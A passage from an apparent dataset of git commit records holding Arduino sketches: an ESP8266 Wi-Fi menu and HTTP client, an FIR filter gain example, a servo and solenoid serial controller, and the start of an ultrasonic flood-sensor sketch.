String(loopNum);\t\t\n\t\trunningValues[6] = splitToVal(RecData, \"$\", \"^\");\t\t\n\t\t\/\/WeatherVal = splitToVal(RecData, \"^\", \"~\");\n\t\tu8g.setFont(u8g_font_8x13B);\n\t\tu8g.setPrintPos(0, 13);\n\t\tu8g.print(runningTitles[0]);\n\t\tfor(int i = 1; i < 6; i++){\n\t\t\tu8g.setFont(u8g_font_5x8);\n\t\t\tu8g.setPrintPos(0, posText);\n\t\t\tu8g.print(runningTitles[i]);\n\t\t\tString valuetemp = runningTitles[i];\n\t\t\tu8g.setPrintPos((valuetemp.length() * 5) + 5, posText);\n\t\t\tu8g.print(runningValues[i]);\n\t\t\tposText = posText + 8;\n\t\t}\n\t\t\n\t\tbreak;\n\t}\n\t\n\t\n}\n\n\/\/ Menu function for selecting modes and states\nvoid menu(){\n\tswitch (state) {\n\t\tcase main:\n\t\tif(digitalRead(7) == HIGH){\n\t\t\tif(cursorPos < 3){\n\t\t\t\tcursorPos++;\n\t\t\t}\n\t\t\telse{\n\t\t\t\tcursorPos = 1;\n\t\t\t}\n\t\t}\n\t\tif(digitalRead(5) == HIGH){\n\t\t\tswitch(cursorPos) {\n\t\t\t\tcase 1:\n\t\t\t\tstate=connect;\n\t\t\t\tbreak;\n\t\t\t\tcase 2:\n\t\t\t\tstate=findWifi;\n\t\t\t\tbreak;\n\t\t\t\tcase 3:\n\t\t\t\tstate=run;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\t\n\t\t}\n\t\tbreak;\n\t\tcase connect:\n\t\tif(digitalRead(5) == HIGH){\n\t\t\tif(storedNetworkDetails() && connected == false){\n\t\t\t\treadEPNetworkAndPassword();\n\t\t\t}\n\t\t\t\n\t\t\tif (network != \"\" && connected == false && password == \"\")\n\t\t\t{\n\t\t\t\tstate = enterPassword;\n\t\t\t}\n\t\t\t\n\t\t}\n\t\t\n\t\tif(digitalRead(4) == HIGH){\n\t\t\tstate = main;\n\t\t\t\n\t\t}\n\t\tbreak;\n\t\tcase findWifi:\n\t\tif(runningFunctionNow == 0){\n\t\t\tfunctionStartTime = millis();\n\t\t\tfoundNetworks = 0;\n\t\t\tfindWifiNetworks();\n\t\t}\n\t\telse\n\t\t{\n\t\t\tfindWifiNetworks();\n\t\t}\n\t\t\n\t\tif(digitalRead(4) == HIGH){\n\t\t\tstate = main;\n\t\t}\n\t\tbreak;\n\t\tcase selectWifi:\n\t\tif(digitalRead(7) == HIGH){\n\t\t\t\/\/Serial.println(cursorPos);\n\t\t\tif(cursorPos < foundNetworks-1){\n\t\t\t\tcursorPos++;\n\t\t\t}\n\t\t\telse{\n\t\t\t\tcursorPos = 0;\n\t\t\t}\n\t\t}\n\t\tif(digitalRead(4) == HIGH){\n\t\t\tstate = main;\n\t\t}\n\t\tif(digitalRead(5) == HIGH){\n\t\t\tnetwork = DiscoveredNetworks[cursorPos];\n\t\t\tstate = enterPassword;\n\t\t}\n\t\tbreak;\n\t\tcase enterPassword:\n\t\tselectedChar = lowercase[rowNum][colNum];\n\t\tif(digitalRead(7) == HIGH){\n\t\t\tif(rowNum < 3){\n\t\t\t\trowNum++;\n\t\t\t}\n\t\t\telse{\n\t\t\t\trowNum = 0;\n\t\t\t}\n\t\t}\n\t\tif(digitalRead(6) == HIGH){\n\t\t\t\n\t\t\tif(colNum < 25){\n\t\t\t\tcolNum++;\n\t\t\t}\n\t\t\telse{\n\t\t\t\tcolNum = 0;\n\t\t\t}\n\t\t}\n\t\tif(digitalRead(5) == HIGH){\n\t\t\tpassword += selectedChar;\n\t\t}\n\t\tif(digitalRead(4) == HIGH){\n\t\t\tstate = main;\n\t\t}\n\t\tbreak;\n\t\tcase run:\n\t\tif(digitalRead(4) == HIGH){\n\t\t\tstate = main;\n\t\t}\n\t\tbreak;\n default:\n \/\/ statements\n break;\n\n\t}\n}\n\n\/\/ START WRITE WIFI DETAILS TO EEPROM\nbool writeEPNetworkAndPassword(String inputNetwork, String inputPassword){\n\t\n\tint lengthNetwork = inputNetwork.length();\n\tint lengthPassword = inputPassword.length();\n\tint nextAddress = 1;\n\t\n\tEEPROM.write(nextAddress, lengthNetwork);\n\t\/\/Serial.print(nextAddress);\n\t\/\/Serial.print(lengthNetwork);\n\t\/\/Serial.println();\n\tnextAddress++;\n\tfor(int i = 0; i < lengthNetwork; i++){\n\n\t\tchar networkChar = inputNetwork.charAt(i);\n\t\tEEPROM.write(nextAddress, networkChar);\n\t\tnextAddress++;\n\t}\n\n\tEEPROM.write(nextAddress, lengthPassword);\n\tnextAddress++;\n\tfor(int i = 0; i < lengthPassword; i++){\n\n\t\tchar passwordChar = inputPassword.charAt(i);\n\t\tEEPROM.write(nextAddress, passwordChar);\n\t\tnextAddress++;\n\t}\n\tEEPROM.write(0, 1);\n\t\n\tif(EEPROM.read(0) == 1){\n\t\treturn true;\n\t}\n\telse {\n\t\treturn false;\n\t}\n\t\n}\n\/\/ END WRITE WIFI DETAILS TO EEPROM\n\n\/\/ START STORED DETAILS CHECK\nbool storedNetworkDetails(){\n\tif(EEPROM.read(0) == 1){\n\t\treturn true;\n\t}\n\telse {\n\t\treturn false;\n\t}\n}\n\/\/ END STORED DETAILS CHECK\n\n\/\/ START READ DETAILS FROM EEPROM\nbool readEPNetworkAndPassword(){\n\tnetwork = \"\";\n\tpassword = \"\";\n\tint lengthNetwork = EEPROM.read(1);\n\tint nextAddress = 2;\n\tfor(int i = 0; i < lengthNetwork; i++){\n\t\t\n\t\tchar networkChar = EEPROM.read(nextAddress);\n\t\tnetwork += networkChar;\n\t\tnextAddress++;\n\t\t\n\t\t\n\t}\n\tint lengthPassword = EEPROM.read(nextAddress);\n\tnextAddress++;\n\tfor(int i = 0; i < lengthPassword; i++){\n\n\t\tchar passwordChar = EEPROM.read(nextAddress);\n\t\tpassword += passwordChar;\n\t\tnextAddress++;\n\t}\n}\n\/\/ END READ DETAILS FROM EEPROM\n\n\/\/ START FIND WIFI NETWORKS\nbool findWifiNetworks() {\n\tbreakOut = true;\n\t\n\tchar character;\n\tif (runningFunctionNow == 1 && wifiNumber < 16) {\n\t\tif (esp8266Module.available() > 0) {\n\t\t\tcharacter = esp8266Module.read();\n\t\t\t\n\t\t\t\n\t\t\tif(!foundWifi){\n\t\t\t\t\/\/Serial.write(temp);\n\t\t\t\tif (character == ':') {\n\t\t\t\t\tfoundWifi = true;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse{\n\t\t\t\tif (character == '\\n') {\n\t\t\t\t\tDiscoveredNetworks[wifiNumber] = splitWifi(tempWifi);\n\t\t\t\t\ttempWifi = \"\";\n\t\t\t\t\twifiNumber++;\n\t\t\t\t\tfoundNetworks++;\n\t\t\t\t\tfoundWifi = false;\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\ttempWifi.concat(character);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t\n\t}\n\telse {\n\t\tif (wifiNumber < 1 && runningFunctionNow == 0) {\n\t\t\trunningFunctionNow = 1;\n\t\t\tesp8266Module.println(F(\"AT+CWLAP\"));\n\t\t}\n\t\t\n\t}\n\tif((millis() - functionStartTime) > timeout){\n\t\tif(wifiNumber > 0){\n\t\t\trunningFunctionNow = 0;\n\t\t\tbreakOut = false;\n\t\t\tselectedNetwork = 0;\n\t\t\tfunctionStartTime = 0;\n\t\t\tpassword = \"\";\n\t\t\tnetwork = \"\";\n\t\t\twifiNumber = 0;\n\t\t\tfoundWifi = false;\n\t\t\ttempWifi = \"\";\n\t\t\tdigitalWrite(statusLED, LOW);\n\t\t\tstate = selectWifi;\n\t\t\treturn true;\n\t\t}\n\t\telse{\n\t\t\treturn false;\n\t\t}\n\t}\n\n}\n\/\/ END FIND WIFI NETWORKS\n\n\/\/ SPLIT UP STRINGS --- This is not ready\nString splitWifi(String inputWifi) {\n\tint firstListItem = inputWifi.indexOf(\"\\\"\");\n\tint secondListItem = inputWifi.indexOf(\"\\\"\", firstListItem + 1 );\n\treturn inputWifi.substring(firstListItem + 1, secondListItem);\n\n}\n\/\/ END SPLIT UP STRINGS\n\n\/\/ MAIN ESP8266 FUNCTION\nvoid runEsp8266(String website, String page) {\n\t\/\/ 0 need to reset or beginning of loop\n\t\/\/ 1 reset complete check wifi mode\n\t\/\/ 2 wifi mode is 3, now check network connection\n\t\/\/ 3 If not connected connect to network\n\t\/\/ 4 request page from server\n\t\/\/ 5 unlink from server after request\n\t\/\/ 6 close network connection\n\tswitch (wifiStatus) {\n\t\tcase 0: \/\/ 0 need to reset or beginning of loop\n\t\tSerial.println(F(\"TRYING esp8266Reset\"));\n\t\tesp8266Reset();\n\t\tbreak;\n\t\tcase 1: \/\/ 1 reset complete check wifi mode\n\t\tSerial.println(F(\"TRYING changeWifiMode\"));\n\t\tchangeWifiMode();\n\t\tbreak;\n\t\tcase 2: \/\/ 2 wifi mode is 3, now check network connection\n\t\tSerial.println(F(\"TRYING checkWifiStatus\"));\n\t\tcheckWifiStatus();\n\t\tbreak;\n\t\tcase 3: \/\/ 3 If not connected connect to network\n\t\tSerial.println(F(\"TRYING connectToWifi\"));\n\t\t\/\/connectToWifi();\n\t\tconnectToWifi(\"---\", \"---\");\n\t\tbreak;\n\t\tcase 4: \/\/ 4 request page from server\n\t\tSerial.println(F(\"TRYING getPage\"));\n\t\tgetPage(website, page);\n\t\t\/\/getPage(website, page, \"?num=\", \"3\", \"&num2=\", \"2000\");\n\t\tbreak;\n\t\tcase 5: \/\/ 5 unlink from server after request\n\t\tSerial.println(F(\"TRYING unlinkPage\"));\n\t\tunlinkPage();\n\t\tbreak;\n default:\n \/\/ statements\n\t\tbreak;\n\t}\n}\n\/\/ END MAIN ESP8266 FUNCTION\n\n\/\/ 0 - RESET\nbool esp8266Reset() {\n\tesp8266Module.println(F(\"AT+RST\"));\n\tdelay(7000);\n\tif (esp8266Module.find(\"OK\"))\n\t{\n\t\trunningValues[1] = F(\"-RESET-\");\n\t\twifiStatus = 1;\n\t\treturn true;\n\t}\n\telse\n\t{\n\t\trunningValues[1] = F(\"-FAILED-\");\n\t\twifiStatus = 0;\n\t\treturn false;\n\t}\n}\n\/\/ END RESET\n\n\/\/ 1 - CHANGE MODE\nbool changeWifiMode()\n{\n\tesp8266Module.println(F(\"AT+CWMODE?\"));\n\tdelay(5000);\n\tif (esp8266Module.find(\"3\"))\n\t{\n\t\trunningValues[1] = F(\"Wifi Mode is 3\");\n\t\twifiStatus = 2;\n\t\treturn true;\n\t}\n\telse\n\t{\n\t\tesp8266Module.println(F(\"AT+CWMODE=3\"));\n\t\tdelay(5000);\n\t\tif (esp8266Module.find(\"no change\") || esp8266Module.find(\"OK\"))\n\t\t{\n\t\t\trunningValues[1]= F(\"Wifi Mode is 3\");\n\t\t\twifiStatus = 2;\n\t\t\treturn true;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t\/\/val1 = F(\"Wifi Mode failed\");\n\t\t\twifiStatus = 0;\n\t\t\treturn false;\n\t\t}\n\t}\n\n}\n\/\/ END CHANGE MODE\n\n\/\/ 2 - CHECK WIFI NETWORK STATUS\nbool checkWifiStatus() {\n\tesp8266Module.println(F(\"AT+CWJAP?\"));\n\tdelay(5000);\n\tif (esp8266Module.find(\":\")) {\n\t\t\/\/Serial.println(F(\"WIFI NETWORK CONNECTED\"));\n\t\tString tempor = esp8266Module.readStringUntil('\\n');\n\t\ttempor.replace(\"\\\"\", \"\");\n\t\tnetwork = tempor;\n\t\trunningValues[1] = tempor;\n\t\twifiStatus = 4;\n\t\treturn true;\n\t}\n\telse\n\t{\n\t\twifiStatus = 3;\n\t\treturn false;\n\t}\n}\n\/\/ END CHECK WIFI NETWORK STATUS\n\n\/\/ 3 - CONNECT TO WIFI\nbool connectToWifi() {\n\tif (network == \"\" || password == \"\")\n\t{\n\t\tstate = findWifi;\n\t}\n\telse\n\t{\n\t\t\n\t\tString cmd = F(\"AT+CWJAP=\\\"\");\n\t\tcmd += network;\n\t\tcmd += F(\"\\\",\\\"\");\n\t\tcmd += password;\n\t\tcmd += F(\"\\\"\");\n\t\tesp8266Module.println(cmd);\n\t\tdelay(5000);\n\t\tif (esp8266Module.find(\"OK\"))\n\t\t{\n\t\t\t\/\/Serial.println(F(\"CONNECTED TO WIFI\"));\n\n\t\t\trunningValues[1] = F(\"CONNECTED TO WIFI\");\n\t\t\twifiStatus = 4;\n\t\t\treturn true;\n\t\t}\n\t\telse\n\t\t{\n\t\t\twifiStatus = 0;\n\t\t\treturn false;\n\t\t}\n\t}\n}\n\/\/ optional function that accepts the network ID and password as variables\nbool connectToWifi(String networkId, String networkPassword) {\n\tnetwork = networkId;\n\tString cmd = F(\"AT+CWJAP=\\\"\");\n\tcmd += networkId;\n\tcmd += F(\"\\\",\\\"\");\n\tcmd += networkPassword;\n\tcmd += F(\"\\\"\");\n\tesp8266Module.println(cmd);\n\tdelay(5000);\n\tif (esp8266Module.find(\"OK\"))\n\t{\n\t\tSerial.println(F(\"CONNECTED TO WIFI\"));\n\n\t\trunningValues[1] = F(\"CONNECTED TO WIFI\");\n\t\twifiStatus = 4;\n\t\treturn true;\n\t}\n\telse\n\t{\n\t\twifiStatus = 0;\n\t\treturn false;\n\t}\n}\n\/\/ END CONNECT TO WIFI NETWORK\n\n\/\/ 4 - GET PAGE\nbool getPage(String website, String page) {\n\t\/\/runningValues[1] = \"\";\n\t\/\/Serial.println(website);\n\tString cmd = F(\"AT+CIPSTART=\\\"TCP\\\",\\\"\");\n\tcmd += website;\n\tcmd += F(\"\\\",80\");\n\tesp8266Module.println(cmd);\n\tdelay(5000);\n\tif (esp8266Module.find(\"Linked\"))\n\t{\n\t\tSerial.print(F(\"Connected to server\"));\n\n\t}\n\tcmd = \"GET \";\n\tcmd += page;\n\tcmd += \"?num=\"; \/\/construct the http GET request\n\tcmd += \"1\";\n\tcmd += \"&weather=\";\n\tcmd += \"2644668\";\n\tcmd += \" HTTP\/1.0\\r\\n\";\n\tcmd += \"Host:\";\n\tcmd += website;\n\tcmd += \"\\r\\n\\r\\n\";\n\tSerial.println(cmd);\n\tesp8266Module.print(\"AT+CIPSEND=\");\n\tesp8266Module.println(cmd.length());\n\tSerial.println(cmd.length());\n\n\tif (esp8266Module.find(\">\"))\n\t{\n\t\tSerial.println(F(\"found > prompt - issuing GET request\"));\n\t\tesp8266Module.println(cmd);\n\t}\n\telse\n\t{\n\t\twifiStatus = 5;\n\t\tSerial.println(F(\"No '>' prompt received after AT+CPISEND\"));\n\t\trunningValues[1] = F(\"Failed request, retrying...\");\n\t\treturn false;\n\t}\n\n\twhile (esp8266Module.available() > 0)\n\t{\n\t\tesp8266Module.read();\n\t}\n\n\tif (esp8266Module.find(\"*\")) {\n\t\tString tempMsg = esp8266Module.readStringUntil('\\n');\n\t\tRecData = tempMsg;\n\t\tSerial.println(tempMsg);\n\t\twifiStatus = 5;\n\t\treturn true;\n\t}\n\telse {\n\t\twifiStatus = 5;\n\t\treturn false;\n\t}\n\n}\n\n\/\/ optional getPage function that accepts user variables\nbool getPage(String website, String page, String urlVariableName1, String variable1, String urlVariableName2, String variable2) {\n\tString cmd = F(\"AT+CIPSTART=\\\"TCP\\\",\\\"\");\n\tcmd += website;\n\tcmd += F(\"\\\",80\");\n\tesp8266Module.println(cmd);\n\tdelay(5000);\n\tif (esp8266Module.find(\"Linked\"))\n\t{\n\t\t\/\/Serial.print(F(\"Connected to server\"));\n\n\t}\n\tcmd = \"GET \";\n\tcmd += page;\n\tcmd += urlVariableName1; \/\/ something like ?num=\n\tcmd += variable1;\n\tcmd += urlVariableName2; \/\/ something like &num2=\n\tcmd += variable2;\n\tcmd += \" HTTP\/1.0\\r\\n\";\n\tcmd += \"Host:\";\n\tcmd += website;\n\tcmd += \"\\r\\n\\r\\n\";\n\t\/\/Serial.println(cmd);\n\tesp8266Module.print(\"AT+CIPSEND=\");\n\tesp8266Module.println(cmd.length());\n\t\/\/Serial.println(cmd.length());\n\n\tif (esp8266Module.find(\">\"))\n\t{\n\t\t\/\/Serial.println(F(\"found > prompt - issuing GET request\"));\n\t\tesp8266Module.println(cmd);\n\t}\n\telse\n\t{\n\t\twifiStatus = 5;\n\t\t\/\/Serial.println(\"No '>' prompt received after AT+CPISEND\");\n\t\trunningValues[1] = F(\"Failed request, retrying...\");\n\t\treturn false;\n\t}\n\n\twhile (esp8266Module.available() > 0)\n\t{\n\t\tesp8266Module.read();\n\t}\n\n\tif (esp8266Module.find(\"*\")) {\n \tString tempMsg = esp8266Module.readStringUntil('\\n');\n\t\tRecData = tempMsg;\n\t\tSerial.println(tempMsg);\n\t\twifiStatus = 5;\n\t\treturn true;\n\t}\n\telse {\n\t\twifiStatus = 5;\n\t\treturn false;\n\t}\n\n}\n\/\/ END GET PAGE\n\n\/\/ 5 - UNLINK\nbool unlinkPage() {\n\tesp8266Module.println(F(\"AT+CIPCLOSE\"));\n\tdelay(5000);\n\tif (esp8266Module.find(\"Unlink\"))\n\t{\n\t\trunningValues[1] = F(\"UNLINKED\");\n\t\twifiStatus = 0;\n\t\tloopNum++;\n\t\treturn true;\n\t}\n\telse\n\t{\n\t\twifiStatus = 4;\n\t\treturn false;\n\t}\n}\n\/\/ END UNLINK\n\n\/\/ 6 - CLOSE NETWORK --- This is not ready\nbool closeNetwork() {\n\tesp8266Module.println(F(\"AT+CWQAP\"));\n\tdelay(5000);\n\tif (esp8266Module.find(\"OK\"))\n\t{\n\t\trunningValues[1] = F(\"NETWORK DISCONNECTED\");\n\t\twifiStatus = 0;\n\t\treturn true;\n\t}\n\telse\n\t{\n\t\twifiStatus = 4;\n\t\treturn false;\n\t}\n}\n\/\/ END CLOSE NETWORK\n\n\/\/ SPLIT UP STRINGS\nString splitToVal(String inputString, String delimiter, String endChar) {\n\tString tempString = \"\";\n\tint from = 0;\n\tint to = 0;\n\tfor (int i = 0; i < inputString.length(); i++) {\n\t\tif (inputString.substring(i, i + 1) == delimiter) {\n\t\t\tfrom = i + 1;\n\t\t}\n\t\tif (inputString.substring(i, i + 1) == endChar) {\n\t\t\tto = i;\n\t\t}\n\t}\n\ttempString = inputString.substring(from, to);\n\treturn tempString;\n}\n\/\/ END SPLIT UP STRINGS\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'esp8266-Full-Menu-System-v1.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"bb19d8ebeaca67e85b036df5914bcf588bcd9235","subject":"Add an example of how to determine the gain setting for a filter.","message":"Add an example of how to determine the gain setting for a filter.\n","repos":"LeemanGeophysicalLLC\/FIR_Filter_Arduino_Library","old_file":"examples\/determining_gain\/determining_gain.ino","new_file":"examples\/determining_gain\/determining_gain.ino","new_contents":"\/\/ Gain Setting Example\n\/\/ Demonstrates the filter response with unity input to\n\/\/ get the appropriate value for the filter gain setting.\n\n#include <FIR.h>\n\n\/\/ Make an instance of the FIR filter. In this example we'll use\n\/\/ floating point values and a 13 element filter.\nFIR<long, 13> fir;\n\nvoid setup() {\n Serial.begin(115200); \/\/ Start a serial port\n\n \/\/ Use an online tool to get these such as http:\/\/t-filter.engineerjs.com\n \/\/ This filter rolls off after 2 Hz for a 10 Hz sampling rate.\n long coef[13] = { 660, 470, -1980, -3830, 504, 10027, 15214,\n 10027, 504, -3830, -1980, 470, 660};\n \n \/\/ Set the coefficients\n fir.setFilterCoeffs(coef);\n\n \/\/ Set the gain to 1 to find the actual gain.\n \/\/ After running this sketch you'll see the gain\n \/\/ value sould be 26916.\n long gain = 1;\n\n \/\/ Set the gain\n fir.setGain(gain);\n}\n\nvoid loop() {\n \/\/ Need to run at least the length of the filter.\n for (float i=0; i < 14; i++) {\n Serial.print(\"Iteration \");\n Serial.print(i+1);\n Serial.print(\" -> \");\n Serial.println(fir.processReading(1)); \/\/ Input all unity values\n }\n\n while (true) {}; \/\/ Spin forever\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/determining_gain\/determining_gain.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d5dfd4f0741a0122d625bf7f31506bc16870e704","subject":"Pwd A7 on startup and added mitt callback","message":"Pwd A7 on startup and added mitt callback\n\nmqtt callback to retrive echo and start A7 in setup.\n","repos":"xnsense\/xns-firmware,xnsense\/xns-firmware","old_file":"Prototypes\/A7 Test\/A7_Test\/A7_Test.ino","new_file":"Prototypes\/A7 Test\/A7_Test\/A7_Test.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Prototypes\/A7' did not match any file(s) known to git\nerror: pathspec 'Test\/A7_Test\/A7_Test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6c5005cea6479dc16c689ada3ac47e7d67d72a8d","subject":"\u30b9\u30c6\u30fc\u30b8\u306eHW\u3092\u64cd\u4f5c\u3059\u308bArduino\u30b9\u30b1\u30c3\u30c1\u3092\u8ffd\u52a0","message":"\u30b9\u30c6\u30fc\u30b8\u306eHW\u3092\u64cd\u4f5c\u3059\u308bArduino\u30b9\u30b1\u30c3\u30c1\u3092\u8ffd\u52a0\n","repos":"montblancpj\/unity-arduino-samples","old_file":"arduino\/montblancpjController\/montblancpjController.ino","new_file":"arduino\/montblancpjController\/montblancpjController.ino","new_contents":"#define SERVO_PIN 9\n#define LED_PIN 13\n#define SOLENOID_PIN 2\n#define BUFFER_SIZE 32\n\n#include <Servo.h>\n\nServo servo;\nchar buffer[BUFFER_SIZE];\nvoid setup() \n{\n Serial.begin(9600);\n\n pinMode(LED_PIN, OUTPUT);\n pinMode(SOLENOID_PIN, OUTPUT);\n\n servo.attach(SERVO_PIN);\n servo.write(140);\n} \n\nbool ReadDataAsInt(char data[], int &intData) \n{ \n bool ret = false;\n int i = 0;\n buffer[0] = '\\0';\n while(Serial.available() ) {\n buffer[i] = Serial.read();\n if('\\0' == buffer[i]) {\n ret = true;\n intData = atoi(buffer);\n break;\n }\n i++;\n if(i >= BUFFER_SIZE) break;\n delay(5); \/\/ for serial read delay\n };\n\n return ret;\n}\n\nvoid loop() \n{\n if(Serial.available() >= 2) {\n char textHead = Serial.read();\n if('s' == textHead) {\n int val = 0;\n bool ret = ReadDataAsInt(buffer, val);\n if(ret) ServoDrive(val);\n } else if('l' == textHead) {\n int val = -1;\n bool ret = ReadDataAsInt(buffer, val);\n \n if(ret) {\n if(val > 0 && val < 255) {\n digitalWrite(LED_PIN, HIGH); \n } else if(val == 0) {\n digitalWrite(LED_PIN, LOW); \n }\n }\n } else if('p' == textHead) {\n int val = 0;\n bool ret = ReadDataAsInt(buffer, val);\n if(ret) {\n if(val == 1) {\n digitalWrite(SOLENOID_PIN, HIGH);\n } else {\n digitalWrite(SOLENOID_PIN, LOW); \n }\n }\n }\n }\n} \n\nvoid ServoDrive(int val)\n{\n if(val >= 0 && val < 255) {\n servo.write(val);\n delay(15);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/montblancpjController\/montblancpjController.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"381b721459eb7bad7d416b4ec2e5feacc45f07f8","subject":"New demo code","message":"New demo code\n","repos":"OxFloodNet\/sensor-device","old_file":"OxFloodNet_Sensor_Demo\/OxFloodNet_Sensor_Demo.ino","new_file":"OxFloodNet_Sensor_Demo\/OxFloodNet_Sensor_Demo.ino","new_contents":"\/** \n * LLAPDistance_Remote sketch for Ciseco RFu-328 and Maxbotix XL-EZ3 ultrasonic sensor\n * Availabe form http:\/\/www.coolcomponents.co.uk\/ultrasonic-range-finder-xl-ez3.html\n *\n * Transmits reading every 5 minutes\n * Data transmitted is of form aXXUnnn-----\n * Battery readings every 10th cycle aXXBvvvv----\n *\n * Where XX is the device ID, nnn is the distance to the water in cm, vvvv is battery voltage in mV\n * Other messages sent are: aXXSTARTED upon startup\n * aXXUMax----- and aXXUErr----- if max range is reached or an error in the reading is seen.\n *\n * Sensor is controled using a single N-Channel MOSFET, Gate to SENSOR_ENABLE,\n * Source to GND, Drain to -ve of sensor, Sensor +ve to +3V.\n *\n * NOTE: For initial testing, wakeup time set to 5mins and battery interval to 4 cycles\n * (c) Andrew D Lindsay 2014\n *\/\n\n#include \"LLAPSerial.h\"\t\/\/ include the library\n\/\/#include <OneWire.h>\n\/\/#include <DallasTemperature.h>\n\n#define VERSION_STRING \"V0.7\"\n\n\/\/ Number of readings before a battery reading is taken\n#define BATTERY_READ_INTERVAL 10\n\n\/\/ Hardware pin defines\n\/\/ Enable SRF\n#define SRF_RADIO_ENABLE 8\n\/\/ Enable the sensor, controlled by FET\n#define SENSOR_ENABLE 6\n\/\/ Pin that sensor PWM input is on\n#define SENSOR_PIN 3\n\/\/ Using Sleep Mode 1, SLEEP must be HIGH to run\n\/\/ Using Sleep Mode 2, SLEEP must be LOW to run\n\/\/ Using Sleep Mode 3, SLEEP must be LOW to run\n#define SRF_SLEEP 4\n#define WAKE_INT 2\n\n\/\/ Data wire is plugged into port 2 on the Arduino\n\/\/#define TEMP_SENSOR_ENABLE 10\n#define ONE_WIRE_BUS 5\n\n\/\/ Setup a oneWire instance to communicate with any OneWire devices (not just Maxim\/Dallas temperature ICs)\n\/\/OneWire oneWire(ONE_WIRE_BUS);\n\n\/\/ Pass our oneWire reference to Dallas Temperature. \n\/\/DallasTemperature sensors(&oneWire);\n\n\/\/ arrays to hold device address\n\/\/DeviceAddress insideThermometer;\nboolean tempSensorFound = false;\n\nuint8_t inPin[] = { 9, 10, 11, 12, 13 };\n\nint batteryCountDown = BATTERY_READ_INTERVAL;\n\nuint8_t enterCommandMode();\n\/\/ Node ID, default R0, set by input pins\nchar nodeId[2] = { 'R', 'D' };\n\n\/\/ Some functions to get the configured node address\nvoid readNodeId() {\n \/\/ Set analog input pins to read digital values, set internal pullup\n pinMode(A0, INPUT);\n pinMode(A1, INPUT);\n pinMode(A2, INPUT);\n pinMode(A3, INPUT);\n pinMode(A4, INPUT);\n pinMode(A5, INPUT);\n digitalWrite(A0, HIGH);\n digitalWrite(A1, HIGH);\n digitalWrite(A2, HIGH);\n digitalWrite(A3, HIGH);\n digitalWrite(A4, HIGH);\n digitalWrite(A5, HIGH);\n \n \/\/ Read input and parse value\n \/\/ \n int a = PINC & 0x3F;\n a ^= 0x3F;\n \n \/\/ A0, A1 are first part, R, S, T, W\n \/\/ A2 - A5 are 0-9, A-F\n int id1 = a & 0x03;\n switch( id1 ) {\n case 0: nodeId[0] = 'R'; break;\n case 1: nodeId[0] = 'S'; break;\n case 2: nodeId[0] = 'T'; break;\n case 3: nodeId[0] = 'W'; break;\n }\n int id2 = a >> 2;\n if( id2 <10 ) \n nodeId[1] = '0' + id2;\n else\n nodeId[1] = 'A' + (id2-10);\n\n \/\/ Reset analog inputs to set internal pullup off\n digitalWrite(A0, LOW);\n digitalWrite(A1, LOW);\n digitalWrite(A2, LOW);\n digitalWrite(A3, LOW);\n digitalWrite(A4, LOW);\n digitalWrite(A5, LOW);\n}\n\n\/\/ **************************************\n\/\/ Functions used in processing readings\n\/\/ Sorting function (Author: Bill Gentles, Nov. 12, 2010)\nvoid isort(uint16_t *a, int8_t n){\n for (int i = 1; i < n; ++i) {\n uint16_t j = a[i];\n int k;\n for (k = i - 1; (k >= 0) && (j < a[k]); k--) {\n a[k + 1] = a[k];\n }\n a[k + 1] = j;\n }\n}\n\n\/\/ Mode function, returning the mode or median.\nuint16_t mode(uint16_t *x,int n){\n int i = 0;\n int count = 0;\n int maxCount = 0;\n uint16_t mode = 0;\n int bimodal;\n int prevCount = 0;\n while(i<(n-1)){\n prevCount=count;\n count=0;\n while( x[i]==x[i+1] ) {\n count++;\n i++;\n }\n if( count > prevCount & count > maxCount) {\n mode=x[i];\n maxCount=count;\n bimodal=0;\n }\n if( count == 0 ) {\n i++;\n }\n if( count == maxCount ) { \/\/If the dataset has 2 or more modes.\n bimodal=1;\n }\n if( mode==0 || bimodal==1 ) { \/\/ Return the median if there is no mode.\n mode=x[(n\/2)];\n }\n return mode;\n }\n}\n\n\/\/ Get the rance in cm. Need to enable sensor first then wait briefly for it to power up\n\/\/ Disable sensor after use.\nuint16_t getRange() {\n int16_t pulse; \/\/ number of pulses from sensor\n int i=0;\n \/\/ These values are for calculating a mathematical median for a number of samples as\n \/\/ suggested by Maxbotix instead of a mathematical average\n int8_t arraysize = 9; \/\/ quantity of values to find the median (sample size). Needs to be an odd number\n \/\/declare an array to store the samples. not necessary to zero the array values here, it just makes the code clearer\n uint16_t rangevalue[] = { \n 0, 0, 0, 0, 0, 0, 0, 0, 0 };\n\n digitalWrite(SENSOR_ENABLE, HIGH);\n\/\/ digitalWrite(TEMP_SENSOR_ENABLE, HIGH);\n delay(100);\n \n if( tempSensorFound ) {\n\/\/ sensors.requestTemperatures(); \/\/ Send the command to get temperature\n }\n\n while( i < arraysize )\n {\t\t\t\t\t\t\t\t \n pulse = pulseIn(SENSOR_PIN, HIGH); \/\/ read in time for pin to transition\n if( pulse == 0 ) return 0;\n rangevalue[i]=pulse\/58; \/\/ pulses to centimeters (use 147 for inches)\n if( rangevalue[i] < 645 && rangevalue[i] >= 15 ) i++; \/\/ ensure no values out of range\n delay(10); \/\/ wait between samples\n }\n digitalWrite(SENSOR_ENABLE, LOW);\n\n isort(rangevalue,arraysize); \/\/ sort samples\n uint16_t distance = mode(rangevalue,arraysize); \/\/ get median \n\n \/\/ Use temperature comprensation if temp sensor found\n\/\/ if( tempSensorFound ) {\n\/\/ float temperature = sensors.getTempC(insideThermometer);\n\/\/ Serial.print(\"Uncomp Dist: \");\n\/\/ Serial.println(distance,DEC);\n\/\/ Serial.print(\"temperature: \");\n\/\/ Serial.println(temperature);\n\/\/ float tof = distance * 0.0058;\n\/\/ uint16_t newDist = tof * (( 20.05 * sqrt( temperature + 